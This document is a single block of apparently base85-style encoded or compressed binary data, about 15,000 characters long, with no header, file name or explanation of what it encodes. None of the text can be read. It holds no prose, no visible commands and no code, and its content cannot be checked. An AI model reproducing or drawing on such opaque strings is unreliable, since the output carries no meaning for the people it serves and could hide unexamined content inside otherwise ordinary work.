zynR;XXj`}U&S(4vU%lWt0~n|)F_>=MmrCP49S2}1BY?9dx2_q6fRR!WPUMqbX`aUz z)8mT|>BS&gN$^gv`6FF%IHtX|)#D`P-n@rARqOH~nOAlnSY%lf(HxX_oF#QN${tW> zYQBF+TjW(p)wBv7X+>wvzEYEFqXhAN`coznAs*V*uuR8nJVD~hV^ut>$9@IYhqrk} zyAZ+f+&o#_2xv&AkrJD1$*-gJ)=wt~xE;H8Lf+ASTm!&`6bG(TT)-S_OxV;Z2%Sns z`ML1pI@*U9Ne6!-knAuxm`aJzbpI5sskPzs@8iW&4Z#G1}E@QN0BiGl`>2+Pi>^1@-`bZCla&|maA-I3x zH@2M*qU!+#4E6@OZ6bZB1G7!?>^Q3En)oY+3a}oHMUH6C4KFE?|%7oi8DepkOmhRrxI{0@xVFm*iV%fN{mT>r^-SK zfmKWdmR9lXXR@kz#j6xbiPNtRQ$>G5;#^htrPgj{j6p(*NlS{Q-0t0W1dGvenCcKg z-yE!)reHcW%ryMcB%DE_ONk?-Q4)m+KYptTLz;ua=%_xP$*da0s@c2}+q6I`mvhC) z2fkWm06WI97^)R3-USaqK+(Skf?0Tqbyr^`dRP4-lmg%7-7tHt$~s{uJj#Ek)JEHG zMO1Nf*WJ@YQn{gxUJ_L!F$$NZB$A&>`Ia0JbE3(GsU&scitiD57taAG!;SmE=Typa zOY%@*4HIiRo3!Pxi#jKr^&fJm?d`JRwTH{2u`rhlPN_UP&T^s=^cG1FhA#x-JxxbZ z1`F?p$J@5s+fvVli3KHyQYC*}(9lE;>hT~iY12_gi^z>p#?Zvce+gUUGB)N?apzUj z2FHx=sA+J#l|j?T4X%H|_HX|A^!?x7*81ko*7v@{=i~Q(4<6mQUElvbx_9p${C_13 z!2kV!{wbe-Q~#e3e|BO6qM11HrmMbQGb5|E2=ZN>#!qcTX7Os-VqU4RXDG(snV-7NaHpn6Nzz{n8?%2BZrrvFN^fG3O%Atq8k)!%3w9C|51BRtStt5{;Te`-Tj2H_ z+#{=?6Pv0@5N$Q|$oWAw2Zv#@9rsc_N92Oi$nGq*G--bbBMFOmYt^&EOMWgwEVd9= z7^77PP$CB@48IIFlQ6kNHK~ebCd~RFrTrKWnxgTTK~TvQb>M$je4LA6AXPUU54DLh zk~h{}$Dq}3+1g{3C-``$-zY@riCIvGu_OEPPAt@6YqQP zX0rWy|6u*qD|3Jf5(z+3y=88~j=A)R0(kP+PRdJm*(-A4MS|-cHH*@d1>O#>*ZWH; z`Br$#BtAZtpIv`m5)6XYdgJ(H{(SwHVcE_3HjCpGdC~53~O8)`^+7De<0V{D+*?J=}o8EB{-uXqqPc;9Y86lwhG z4XM4T2GA`FxjzWh3Ph&CsaiWt^q!yD+-ziW%*3s8*p+{OYa!gNdZ9}e*yU7}AqoTs z3aW*uMw15=Gk}T$m);h*5Jnu9wo{rWw^L4v|I>3nwJ=v6 zYZlbQO739PTI>X%)TB~lQ8IO^uoaE%>WHX%6b;eew)5D45X`%?n8X7Ij;KR)!cQ+T zMRl|CY-oR`e2yoFzR&(qvjsVNT%$9XYCs-JfBhJ+P?h?z=EYlKZBv!L^@^<*`gLcI zXO+-k{wM8AYOW^o2S2^`PBFwG8?}cSY{mV}Hl=7H)$|0<58mvoZ@=>WFPU2d9ko?N zYD87!$~6%+GuRTc_r<8Cv7-xUqIw<698`>90oi|!I1-kR@N+)KPuKiOYva14A#;ag z2`~4Gne1k;fm$x{^$$-QKcjA)Cd+omXgtmjRE>@^Wq4~5MV1*_doYbfa1#PoF}U}e3ocCJhssVO$q@Ff*^ErWtG%cCAZdBqcBkMjnlLL_e; zXC;3+-!!=#d2+c|ox${_kmxGu3UxX{Mi+`pGgRovVXQBU1FEJ@IFTbTl`>;nwY`L^ zLOFu>hVk~JrHqR-%+t{O$F-&aW(>6F(O7i{8`rxq`s_Js^d3tWu}lIY^DT`=4Duhx z#zPkbm)@tyVW9}NZhXtWKe&DGA$EE`&`W>oyJ5K~sg3JGSiN-%7WrbBAD)}90ZWrR zwX|Ue@71A3@IMPLy14lg8SKWdxT6&)~Y`X;U$0&N6?q zn0qI>AzjGCz0aZx94}$FG7K9~H(_UbZ$y?-BEp6BoF?TCpmw;prqn^@!qk(inlw%! zO=c6~o$7#2)wZD(b+H)7YmiZB3V2*=BF3Hos8xkkP%@7Os`?9oKr*)l&sC%3aFkE! z@ycPWPi4oj6lPWQI1Z>?t#IRr-$Q?=vl-u9Mlapbd~t(|+t|>)hBxeM^hT5ShaK); z%?ljxK*ra0ao2;nfXoY$NgHqTZ<`53AKi@s zGg*|m7--my7dPGct*Qr-%-{+nec}zR=dU&Gyfao~i_|hool!BtgfKXJ(7k^v@x4oW zGE_A^C{uX}^_L5?gnm=tG#Q@9oW{!H&fsBvUw+RzbyBLkSG>(73)`G9-Kh5+f|V`^ zzVa~)EIMccVD+q$9Ay`UU$=;q4ch}UIg_$~CGwa+LyWQgcd4|EYOQ9dXI>D_^Px)T z!KCv^F>&F1ki?g|wpkXHsgpEOyy<01k0`pCly{p@MBiy3Gn-qe|D+zyYek5E&nBw;K zc6c(CU)9sI$?;%zrnpLi9dzDGAjm8{83M0|AMoR8DQO!A)ubATY>L^pbUPx&Al!V| z4x{V@l*sKoT2S=tIG1C@1j>#a5dmIhxLweFJi%s00O0!oVytdkcgx77MoL{L( zjbzfK?cXO;ewF6qDsF#xrKaS-vk9Lpw_jb#(IvL0F9&`p-*cx) z`n)cLaT1wa`=c|#2%c~#bstppNZ*-1K15N+g-VXeX;FW~A}X)YU9mA{&JUid8vC4V z3_V8@)ubS6g>m;HRL2$6^f?3`!KgY;W|JYj0%2yr!Km7&PxsSf%LF_SEE{?qQc*GgC}%gBopdW$FN#;4ZRAFgRt6PHt{3L-Bgi=fdHY??v{TXf^phr8a{;jj4p-_RU;gnxfB0U z)x*i^e<=x{tXzeR#W1b<}W-n~4cV$gZ%wLO^wR3u_X=oFlU^{&% z5+(HZueR3rx77V!qNi$moDs-uzTw;yLUhrt10n5ldAd~5}Qt(H@D zl5+%6>l5XeK1S|SCMPDHx|8P4F0l?i2!nq)uT5`c7~mgzrAB>~+oPzl&1J$W6^=)G ztV}Olydz&*40FJagPVTJe|s)coBK1aEw!-MOH>_`mRxP5Fy85y0t6OT8tS#N6MTQ) z>vZ_(xXlvdjgaW}C?X6Um+%N(a)x+~sTVJfKOxyA`r0g^5&n{foLb4Fw0m)IMfSS2 zv32xWM^mA+{NpL9*gcKj(6#JdSdTs#8lG6@Gd31Vyf-0S(VLUS&YaBkC9xCT$NIu* zkD0qlh(=2>A!&N4q?n8N?1Qkbsm*_zbk<0MY(KsmK5wf9X(`J!=N7Bz(7P;~B%byz zA1|pv?|f;>9Bs_sS#{q7T3OE^Q22hEXw#%Q?(VuWn3uKi4n*E( z%h^EqrDTXxW#Oqbo`^2D3&Hu5%zjQOr-ZRt`xSk%{%Z|X8tt%uy%C#X!LWo})N@-e+r5Lz`A50aiyx-fL*;6kTk zz3FcJxa>+oD$9U1;Ze}KMtIs*oJCF>i8bu8ECG_H6z=VTAVT?YMgE-T!`R9f zIB;|&{>@m~?(0`yC}?(&cJ!AZNy$@fJ0fT*D+m(UKWFc0=&W==xaJ*3*IU)+p-Oq7 zgYe9bsN7g@Xcx4CUTc3SMRS>v*sh{A3x}I9RFBcW9-t`xfRDPLmYpWN)i~5=6p)J1 zF+IfK)v?7owhh1C+kO2)+sms@)xGp(15nrAn`S0)V?c!^udy^@KG|qI=Qe7)FBNY_ z@t(oed(ZQdgP=aRL+Bi_Y;NyuZAeCe?XCUbGK%1;6_>SDM^}H9%SXb&Gr4^?nGVVh z(5))}BW?%-1Qj$@;!9DPlZ?hF z?WHL}m|*8nsDx9ARd3>%I8%W*)E4SK6avjcDJD=J3IJB3(}TRjXfG&ypb29z%4>QJ zcGO#jaF`BB1RJ!LPS!oQYBn*ny;bpWa)+n zaP^)|b*{Esc5N-sO&)htm^VvF3Ks$-pNy2v5|qx0?mxYnMpGpM+6h1~SE6lD=hy9z z&HTHqwD1(M))Gco!e`;mL@lG0 z+oQJ^J>h`b{rtV!xe3N-5vOtJ#v;)}!Qj%NiAsOi0C;C)?kd7GkAx>!Xtw1gTt$Wc z`z27$(m8+F>^G_}#@p;Fb`tFkW=+tfB|)yPxYg#SvXY<%i+ul3*Zqb(R$cCbEY2tJ z3O84%w2XrrLV#9JyI!a+&P7U9uQ5C|uj#*>$Ec5GL_H*P7iC`seReqFoMdCMGAzdD z8HInO_)IlME(SZzbqiO$#Vc?s#_OBnQ&l#r;vF=OJI7|vi!#x-T+L>i4 zd@)<5_5@)E<(Y}S7nkFC_XZ1J{)$=<fD3K) zTJzw>C_Jr}nWgUX7XvxT!4FXPSo)!=(4cZ*naN9iLc~&iKz5bPU6De`P(-&7^o>>< zY~>*p6L9$bfm_SO-n?-Wq0v{VO`Y&xy{|?J49dIHQmlEBp_Flt+HvE#Z%37~nc>h{E94VZ-HlUvg~MIU&NFUxR%IE&0W@J|*Prd~9fZEJWj0tG zAI}th7mySgXlz`__%G^rLp!&J_Jx0hAd**89G}0jYYgpUdsH(>ucjQfO8SRV-IP$K_IjVhJv4LEC% zvC|P&CWZY<0z1|Qc$QMpmkpr_Fv=eeCb&7O0cz^;GzQNCj%8>ZfZGK60cBaBh~Affxe; z1f*byjyPl%kVmZ|7@3A32uCSrU7=v0>>>@&Gy~k&o#9i>>0{R~)FDQjXEZ`Rt0@Ez z62V9t-T=Lpv&z(moL-lDIX-{+Vmhao}<=R?1>DG_WmSK z#sK%;EV^P33-7#OimseA`Ev$A9Ra$&w6dfgSLrdNTxl(iTIzulT5d4EzJL36(}l+z z2Ag84B=^~$kNSY{PFZF-?Z(C7w47y!Un#)x5Kr_+I<@ROuf+gaDyn}aSVX7Ml<8%w zQ>%6wkK%k#XiNF=Qv{uCa*_lS!2T$Eh($)WmKX}XZZ0D%hEM{)c<+hylvz$*Gd|Hr z^t>t~MWuppyVxNeI!e(FpMb(oAyT`LS&EcsvVuI%=&Xd3y%42N1YXI`-N4gjy@B(z zW|d#T5|Seo&bz?c2~U48q_}2Y^bD>b7we^Zl8S~>r^N@C#yy%#DH;d!|iAc)EzcT2$)A`0s~V>DFomkc`~xUssy;v_48rn(-6Yp>+I zzMZYDH3wJp6o9VkZLi*dh2v5A;&EIU&X}SDpu~5{ZuLxcAzgpXW2Ih*?1rVnZ9%6_~SI;^OhE4Ubc^UU+BU_R(v3QiR%#a5+k4WST z1wyk*6*dXHLjf3-$Vl8_f9K#0hCjw>%#F6{)T=8zQ$?d-*}8M++a<&f*fBRQXF4xl zMY`V#s~8xDZ0>(OAJ@nN2$B|h6i55^HKFMmzgGGrC?Mk*b(ZayHreGENq zTO5t4#HX5UTM_F=)5_z1adGBH=HE9v1wAhKWyTADVnsW{9s&1HS`z)j&<7pfv)W3M z*0}Qg%KUMd=ruX}FH3=tD+RacR~iF2iChMu#*YyiV}&I_CVwTiITy%&?A8coYbO*>Ie+2BD0r zhDX|rZlBUA#%O4wEdYj3VoM=F)zSeEHUS44#RpGr#9)KD9^5~$B-(Ih5J9}oflB4;j3U{pgoR|x>POND=Ksbydl*Y zqAMvgQ$-wg8}-iaY5$sbXhBv^Z2*9Km6bw7^?+=r`k)B*&7J1Y{rT*sgQU@C*lDRk`F_d z8yycJ9&;KVg?*K{=xUvOHGLlp#9qYQmAw>i$aSfz;8^YCln5G2STy1x!3i+9QQfpTVkhEmLciQeT`WZROy& z&@gz?7%M7X^*sZ{SYi6rjt4}IMql<2z_C1c2I9us1@k#$Nh(q&@*0089omvT=h3Dr z=9Ja63z-&wW$)_y+c=6a|5~47b1|`$>LpHS3v!yoq$xEtNr}@Ih*BY2XIsRUj80An z5I#He%se-@r;}_Yg~AVHUSi+v&hF06&Cbp%w5M2sd==7OFA=f=4CU&zHpCdafu%MZ zPGpq%RNdduj-UBsKh}SE@*7zC!o7{S|VU+YDeiG7n;#Em;MVZ1g@f`BxFp5blM>Nt#F*syq znez)fyuAE(A_`p)c4B-nUk$$sPd!7geD=z9y*Y=kUo=*B2?#l zfDcQc{{ln6e4<(Ug8u0&^1 z1d_=SIhx*c+0XR#hqx)8T*!$EYNC(;G}lO{ZTH*2I8HuM8Qs$;*>E=U(1-c5q>*)m z?5K<^UcdFo%+Y_z;J4D(tO;6%t|N9SzVt!Yq96t!!7Ip@a$}-nv?MR{*e-EdAD#I@ zv)EGL>1Wl=BLaq5m|K-oGH>V=F34(l@wcaoVO!r$eoxxfD!mow2D2OZ6X(f?%u1S3 zjGJjY9faFZ_Qh}vY&YP#4rRce=dsbLmumF5OC38(KoNh$D@&Lz4e2jgD(-ilr58iP zP}!2>@dY*Nwxg&54@P!*h9w<=Gry~}_DpR6qXB0`vlv}Ry|eaBqJl0$;<}=Q45Jn} zWA|$DiO#uRN1|U5G)?d2pfo!6LJvdZ@~0EE34cCOJ-3O27>y$TTfh6%0>yHsP9?Dz z2hGT+_$hx-%R)jfGMm?eGqL$Ck3&sv+lFKHdrVtAu>gA5BBHWn9W{|-KIHVe>AUbu zj3AFP(xWmtlidEZTSFr^C45zqReHOoL`pfYI z{s@0N{`aATL$=3qMuOO<(G?sK2Mxi?Dwi0ksKCx8i45|FSsLzWdoNjW3K93+1>) zpf&Qms4W($RdH{)w?vBo^89yX$2N_bW8KcInx5iR6diu!_RJ_lbFo?%F z{OZEAV{Or!Fk&1XnC@6rC{g@!Y@pRT95qb^q1okUlS-_cLY~g$lX884M?%)BeFT41 zMPiw7-a5y>4=zR*he#kJ^3k!Xk>-y5yCBVsGKNj;KFl711&^w|Shw8^J1i z(c$61X8e}!C5*)ru2S2Y8$^6O^=Iq)wV;PXee?OF$6q(Z*;wlnl9fO>soRtA**`*u zYOl>sXoSDT>3+30nq)+gT_%U??X$9^Aw@25sq>Daw> z4HPgnmr=}R&_bPUbLfpHQ~Qncn9C*F8z=d+-dO-zypE)Jxz&u2HktfKa5kTYBwiPj zk3^N@iPYLg)G6+P*Zk^mTBuW3>^InpQj`dg$HnoPP1-qe_Yk>M@CgB0y4rubU%LSC zNKSIhLrpfXztig#GtZ-_n!T|)Z9%R#^a_Y+TFL_foYFzwoNoZ#?_;C`S!NMf+e-ur z@w20JOXw^>FwL= z`VT+Gk8Z1_?kRR&j)#f4A5h8QR{_Kaq-O{8=!N`WI~Q>+GpBp1IPtCoPp-3!+W-t) z^AOuRrBpkcc=$c;b7nfaGBj5w-Zwb8_ng#lPHHtOEAuQFohawYwiwJ7gfZAZ-=qf}L*scmGe?7cf;Cefjh|8b8&75{!W$i4B7x2dukzC7Fx5@-enH!jb#5EX- zgK4P^BJb6yxg9)X%v|gh&MJO2jAj(_(Ag%o1Ba7|5M7OS-{`Iku`s29ks%-Uk!o*e zMPEB(DY$<_%pq1`Q_h^+Ei6#o0sYJzlQ683YXGR+*al_EQzvHjPaK8-Jol;B#}X4j8An>TDnRHh3xDJLpsHV2pAn_z*&iEZ%4 z`K%O`G-meKau-s0jw^AUq4YSJ zot;vHYrvQ}uUvu^V370OCt!#ndeui8+AH@sb2jfsf!F46GML8@7wbI+XjD2s+!4@W z>{a58HaHsH`PZmAx_Mi6DnsEu6J-WPTRI%iUt7%Lm8x?toCOC36}*JX+rnN z6sLa=PgBXr?_Uc>iC%<}l9Fk~Pm!rXIav!io*3rqwl!-h`!Y~fmn_6SPvIV}m&+n0 z;dnw;jV@aFf>1|etC7(zO~m5VwCH+k0+S3D`0%5TbUS&F&x2~#;+N)>>dEXFdNC!x z*1m1p3^2K)Q_-iIpJWYPxj3G?1d`3vv=4uWZF4Z?Sn$2%w6{H^2J+S2ofAD7Cm~WFt3Hy6aaEq!%*_yarGgW6o*s$-`!F06WD9Rif?>-+R&wH&2GsOeVaku=}%#4142QIzvl@^VSzN zfOepsG=u!t;G$(#_a+T#UsDX0Kc{Z+CPt{9RD?ldlycQF)38mqJ-(r>`gk1=qog{W zh>J-UXAd^~%_u^!foM>aV7xo5EoYsDIPQ#ca=M|(0O~?2azYNyM%{m609uKX;NcutZFCN?aVPzB$U|!$`;2Io#Ll zs0r5;#a}CFG@Q1ElRnt1N6gl>Ms|HGY&G*S8;x4n;6fbePK|$7mlBO82p?3w4-xwn z5`~&`Ad!ZlNR%~sCv(H3!ri;cqoApyTS0nuQ)2ZWH$^XO)z@9_uMx*b$__+-L%*`wV*|YaH#pV1;%TwK!r=EyaDU@2S6`)@kjVCrdVnTXZpY zpo))w|2AR7r5klI{-CXDb6=GH9Ref#-1){g$18}a@|1zAwJO?u>DYjLM{Nxsuoax* z5H74yd0>C`SvGwq4Vz?nUYxKkLF@4w6CY)93`nSJ>e)ODJpQ09yCthxDwjyksj&wC z@Ep#ugIfa_z)-sKidR>bB7#Rf6bzKtv|;oHRVBWz;l!qOU{1W4rf-Ehw_`lrds^#B zFy%}DwhK)B45dQ~9Nl%N*2XZ~(*Xqg}rK_K3qh3tANNP2! z6~3I=!Y_zzE1v|?OFJG>%ED9G(YsHU&Y%Or&5s`RzT}XTQ@B=BwY^FU5NW=l#2k3vWKR@{aKbPx&KD~YC_9s8tzWwp7J3sqW{`my<|LwK@=g0Yp^gqzFNF8U@ z>vw;}oIDbP!Z-xc*?iKybGy6!sp@gSL<@C|^zlMQteNw9yIjk%trnH=3{A4|%t|CO zBm=^M02C;m0m-z=qKH{t83p=Wq=fp#tz}B6kFlUTzxYrk6#foRU!g*?jjq{msWy!&k0 z&5}a$v;kwKavWJ|2O$nh7Lqtf^Jo?$3@`I81NcpXYdmXe3Lk$4 z#CTO6WaA3%DM#chtx3fCZ@-bW=%0HIzbv$1gna}H09xC8yq>}FBn%{`i7VxLI5GT4 z@3=Zj$bWpGt``+h%%fG&_axjsnN<3E54@Y}aTM-Cnp9bBL65|4@JXms?GR5czvDFu zaF4^?v%z0lXW4N}Vx*2|C-+L=3E@~qQ~yS@x0bLrD0c^?kayI`TP@$ zrJZOrL$tZi7Q-8+uvH08VJ)}*;9gnLFFYbvbHUm0}~hRgzH;a67%!Vmuo>Cj0brzWfG+U!8zg0gc7K`jheDjaxKEu>;@t9(3Gdax@N~l?{I){#=6yzJI{* z0aHKje%q87M7&Nyal-nmp1q@GL!vL-T0-w4VXyVgPGe_7DUqpwHAiRINwo#8r-V3$0-F9~K*+0zxQS6V=cnII6O#Oc~pYh;LsyACtAvQSG?ln{S&jcmK!{n=2yC&Cf) zS@*E}17$p#_*|{7$fg3l1mH~MB0tBsTBqikX6kMb$*Lwz4Db-s)87u|xA!x1s&OVe zhg$=a5h|M`{;0ho7Xf>M`>1Q`n$lZc^_b^mJc|0n;W?JUl&9d?Ae(7UZrQ6ual% z&xH=!9-T{?fQxgLIKi@wgU4GrXFQ^YuKZyuiJatAa{|n`I>!!e*_so}w&@YtE)^Rs zgImw0o!!X``&*XL&Nx>8+M5+p5c+&jF<(H z9P%5e8fO<{%?1xB6cz-MVy_Z3$$H0el1MLFsoBc`pl9GzY0y%5u%DNm_5fbyZ(1N6G9Ic`YaMEn!YnT1Htauna2r`lde} zMQP7v$^d`KEdTg$4o|fVpeM5|@9Sc_XZ0BvNYxm+z|vWMApNekeeTq52!{LG0+d}( zV(cZ2_`UVIq=mdJPa%J)6a zSY$a4J*~4-Ik561^Sluhx*{fkXTI++fHQx}ecPX1*yu_F^BFRzfCC+k79VF#)+hs%n@^tJj3EPjePfUy zL9pi7_Uw3eY}-4wZQE84c6O{C+qP}&*tTtZZ||L6T->|pjOeJY%F6D4)tTRyUnOR% zN|-l$KlDcj1g@+{j^JOg%Jmqw$CBD@Z{&-C<*M?OBCdF{Z#ObLSmH(&(t38^Nl8RE zfIgwCe(KYkQsAW=AYK-Y2%IF-z$8ONaP*4II%zGI1PQ-)@RFfm3>78b)04Y8Dkyk^ zqYp{4wL6@F9?xYJRM}P~8|CeVmRGmdCEUNQXBPD_lct@>xv8<0oDqGPMO#^D&=YXr zNYA-`Wl0TjuMF@p8(_IOWm#$S89j^xx>or%x{4h4FBDO;HLP{N?X9AvWA$nLMvyJ5 zl>UYzTQ;DB9et#yh5SV<1&GC08KW<`YPM9?K}UQ}+@-`ii#PPykA0RxS# zDeuqd@dC=K8c8~$9rwjkJIay2$xIt33q9k#6XSHO!+kfONeJyow$AEDm_Sh)vro=Y ztvg>l!S9Fry1Z|@Xq9x{K9|}6aP2}kPFQWj!)9N<80kOtODyOqMy$f!^zrO$dksDK zMi}b(DBDL~6MBlH^Evl&DALX%w9}QHOv~s9BzLAC15_R7h52e{;@N2kzkMC&q&J90 z3hVzQ;H=G@^i|R(bWB#;?GvkJf5wmxqT(6)GsHJNT?`25vQSdx(Kf^b7tOt7*$yMq zZgAoj*ilABVrC4U$RNF#8)cY`YR}DwWpY)X29o9?jR}L}QR*}{ckbNR?SGzRqbh}7 zCddo+RqB8~Xwx`rV1?8Qf>>@aO<7G<)LA;)SL&)C6L3ApxQ`>QYERbLqAom z&ossxBuEP*WHUB~rvAAeoXPf7`wrPTlG1PrjWBUbJYrkNc+9>UA}+sOe#aYkgP$8& z->?+XDdX~;mk_cUy_|K6E4_3+#!z5k+-2?x%piB#G-xj0XzdYri>%VWHY=Dvx3l+% z@%VQn$FKJWjj+4KT&KyE*0D@L;Wjh+n_oa?FI9Nkk=1Llq@q%^u%*`pugIj{(reI# z{59Jh;oDtmoXx1-%bV^;H8=Y_pcJ!36yPX$8HN2Yez0$Ov~C6=c*TYd9>zQYm7>(f zu9da2`UO4LDf|lb6*?IDpI|F)qLk2XM~_t$>GVCzJOw&n+xM5dPA>`m{6HK;{(wUm zfd&wk6S7c#fkWW8fQxGLb8POe*d8hN#O$QkmN{gFNvvjaF!qkn-V?49bY70L=OF9 zNsWywis|Ld9Fq;(38Q#WKj}SkDQWN;(BN#ZTqB79;RB*n1uG>3j7@TNbJ`9*Qxcgo z&!_+BmO9O)0CW$9$j=x(j>C|4Xv~$1jy#4=u7^Z~SaV-PbLVXuu>}^CH5T%O1MaL* zh@qXi*v0*Xg20fEA@j%z#hLxE~vwX{Oq?4Fq3$Al5=_0u2k0msC$d+Xbp3br~ z<<0r{Aa#_f`v+9@A#nJO2>@3Ts_&Jq;qa#cPcR@Fch=2D7N45 zXlW(pun>)KJZgF7ZMZv{xnptjQ%jgbOpSPB;$O`1zt_d!c1g~koNS(H zZ#NMQ{3&0pq_8;m zD_l<}DCbQW6rKG^Z@`zadz*k{#uLC>QA>%lC+9i?~s!iMP2u>3tsZG;1==o0C9WI7`q(tlPkg;7y z7UVkhnH)Z0wB0lzlK<5{(;M(WL6Rq*=54{Sdp`x)upI(5E8=jQ8l`NDZ@q=1ooRhRl$#Y$-Xzs0u8X|SF8j}VXq|! z1jIZL7RwjYGd#4K6#Ia`^EN?-befGj6rY>ox{xtE-fu*O+D!4U^}DB_D4GD4T3o%S zyG4BaY*cp^6}$0g>taX&mZ4`7Np-A|ADu`TBo9wsAG^<|ig~k34#B-pt!K+EnYIef zNdk-!PLg-~+AnTonCorWB%*=_O6(d}5?9gQQ)jl+X5k*HvF3}B6<8h>boZ`3N!@Z! zHht>xnkmw|Z~YfJaK~n96dpiE9QL(Kx?SfnH9CPgUMg4{t=>(5X)2bfGEC%kh1rhb zT}uCR(qP^c@d@&`2x(NAtlrUy3$a{q8Lvm4ka9Jnv}AlsjkNmv&#reIDpy@RkY_PX z(njmwC6Wi-wA2AYOuk$_0q>=5<8u#5gaP#B+vgd6ZL$s~S=Y6y?c;!Y!#r|6o5Bhl zwhAc&7toDkQSi2UH=j{~#Wu~#rpWm%N?TWrLpqb0ziHG_DtID{fPbLutLB;DTBP8-_7kD|1lvQ|3mfRah%k z${lvJ&lP-|X31t3?q7b#dC~7s#BFi2R%}IQQSS4bUKQC1HZlPCzq|LrAkb(s=*@LK z9*FE?9?|kK{T4MV9TI>(M7lEA#e~rG52(S5i$s{fve#*ty%4E~ZQzs8TkVh7$9U2o zl(H1;W{oC8fCRP&Aum_--`BeG@LDGg-AVo(zaNw+d%od=8q=lsqHQ6)JC-@0HmV=; zcvixEbyZ%xo&YcZy0^=n`pge3$_a2dy}DWRjt8KBwr;iK93^+*wPorlN8E_L3rYt$x?{psG*smlGsg|-}6~uN{dV%{$xvwi?PO&p|&Cy z0n0@r2&8p5)x?d z;;HuDMSyQ9?XkJY{oMK~P8%1VQt}%2XiUQznFT~YXVYP~ROwY`<2E%-eBa7_hVWHzjs1xfqW+m|oTk4R|08jyk84@3aB`+1@CyoaW>KoG z@bmrPFk;4ZwXJ-#jo3>>A z^8u)$S_~sv6-0`j3B4Wini4*bIeK1GY0G`>C+Z6iCj-4Y$L@}LW{w#w(|nmFE4h8& z&BiepTICx)G#S$JDo6~P%R?Z`)I*ocsn-njR)QsaVRUA!IZAjQu#f~^JH8T1wl4&| ze`P5hT$P-zg9^w}YI?mfzSfm*3C~qC3j?^ea(`)7R#wTEG5GG{F7ou%T}@G8M0|N~ zc$YaTxl$>LEBED?lnAFpOh?LuUawur+DU3uIhx+LaE40Q-gOz78%q8)(_~{f7F=gN zWq$S#>9#tT_1-^YB1GQ%-h+GBKthHSHJ6te35vjlHM7GYS&Tj|nkyL}78e^@ZC!-N*qQg+}(A2GPbKUo=~K0=r}r8cnfroag6l7(3xN!G{q(Mq?QSQpYA zsGHe+;p%sKqCO!*&$mp1$;k2}a%FZTr-{V-1Q(H%3XP7ZFcuUE&fMa)@r%1gGm7@T zE1S5u74;@JdsM)CL%0{J-)UvPS^;!p;d?AP&RtbLGe57oiN$@qX&^Y!2aKVg4ZZZ% zN2KVKD6N>MK^**OZw%L05!483?5NnqhMMX|0ID}*pF;&=I$Az}T`-+fPrx`BnxqT{ z`#U~nxpkwY{))7kf}{igw%R8pYSwV8*?u1xH|sZZX#5AKON!Y|Yc3&1e*s3-y& zZLzg_+EFH0UdS@-9qPAO1d~*tU|#)CrHxd^UZfKZ?lcDX)CYc>_0A~q9^SlJVRjew z4g;nU!*4kxgF_UwGW8>D{dk;>7v}3U_8eMYfzM@BnjshD&W4@HXwMKx>^Jpj`D4o@ zhZKGt=T7f0M`{sO1g5O}2tYM^(4Cj`R>{{m!4LIy_bwWW;b4z=l&X9w?J|?pd&UY+ zGJlwfp=z7>{aIu}qpiL{yUKB+C9ILmLI1;&W~U*9gAOYXv0*PQtYOaD2G6-y|Ay}w zK6?9wa@)v5n3t&9pJ~>_+$Ia^KbXOu0aIbc#oIFObP4SkTS{G1b>M-BFV}py9(NT4 z-c(zkR1;NKiN$<;wiOala!6iX$7+bt#5!*ZK2?1Q>$~xHETl2hfSRsK0j1>51p+i~HO+ z$vA1nKPA6=Zm7b5pApM&cp>iymSL5TEf@Ex8f_+eznA)h*|T_;=lv*=fgbtP5hOjv z@mi@wjvwO8K6H_LZrl;Y33)$A3p5EMIsK6RlMrd5YdLZ1 z>IfH-sc(!A@FD944e*;Hz$C6TU~Ka9@=sJLZjCWB6THkYY*^2;h2Ub$p-LAPmXydn z#^OnV^JBKV2i~4JX6uYsD^I+k=&b7Q{jwZ1-WFqlhGzE+aaNI#5XnvN1|=3}olXFm z|L!8?lUE&q2Y{2Y(Olx^SvvtH%Lot%GQbqw*g$VCW7ZNR4HSY-eRUdG?=pYdt~vv(*cc`+}=?`Cbs4ymAEa% zF9=J@9LzG!1!;@kX)=)R2bN9ahSva?7AQX#! zckd2pl+HVaU8|!^fgW_;piCUOr(j1=jf1b_0)n+a@aSn!`G-OI z0gPD>!dM%0cHDA`9)+5Ka|N?2tcAE{=6*Zy1x591mlH3TFj{S6=GT>q&9WZkcfhknrPdCyeCKbidDOqzBsEX@P$=3LeuAT06o~CO&Q2#yX zdze8N`1<)4=-1js*qOHDsD)Vf-&!x7IB?y$ap^IE$2!T@JXGx2$pr0XJmKm}aCE^S z>K0_=(~SPApU7qhg0ngETtu@W{p2tG`^#NNTPI0oOhp!01@4|p-EtQH0OyO;ZlVh6 zR2mr&J6nwbpmjpUoF4he6N#G|fW$*L{I#b$I!{%Gsy8|@dF)&oV*xrfCg!EJwYoFd zdqOF?I1`XWu{DElA9wiVGDS1mZRR|(`C}tOKc0MAj`+FyaBy~s46are!BiVm8As;# z5jkIESH@Ysxjc7WU^cD084ul$^s7~{PKy1LREhZtf|!-|1E)q|q!AAd;H}EewvuBI zzh-h*gFo7M;;<_0R}xH^DJxWJI09XUW#JEM z(YR`B^9@Uup)v|A|ExQ_QMu-jecjcOK*}+{H=0*Y@SH*uZT=KI(d7Mz@3Z+zLlTQN zrv8LPeqgIv8|)%o!OJn7)gnZ`6;cpM-WgQKyv3Hs>#vT4xUIw+ZC=Pah#>Q6MEj zp7^vV3asr+yP5n`HgROXy>0vX3NNi;^0#RujUwghtJ(9znU+O;g<-taxg`#lHCDcO z4`EN9hM6^o{f_U>tHz?3%4iU7%u=dGrMprhP-ezAi?i$#fAT8y7sncf#`c5*biVg2`zdPQ92gU-|##e?2sMH!nBQ|CK25Q>j#6ZcY15d7xuYyGSJW z*ZKC75%mn~nRytQ^axDaD!2q{HdgsoT@+IkK&o9_W6I8(ic!ZoeCzB4LgWE|SQ60T z#JN~%Gj1myAnb4fckxlJD1uHg8e)Mg*%d45Bk@^z$9%SfW9t(32A}@3VBRQExe#{P zGZ`rr3BH8~eQVbissz1dk@&A2k86#ggp0C+W|W`vvp(8cf%_WPsMb&0__{?UIe$$;Ie_2*6C-q3v(oO;04JHQE>j0K$vG>h(Jz@M0cjm;c>U_5W_H3 zSrl~^yP6aaD$@nQ*~3XKCF5=-<(Sg1CUptwH)Y+Zn#}G7U7A`uZV+T?5?mQY`|6+L zN}!kcO-NbspH7}9J>|o(`j!qVh)jfD$v2K+xkB5t8+QAeGgf0l-QbE+Nlz?f(I`sP zS#$K%fcA92+k@&J#;}*{S^S^-azQm*;^&RqB83mr4uxoI5|B`zac3q*L?7pJC-=J| 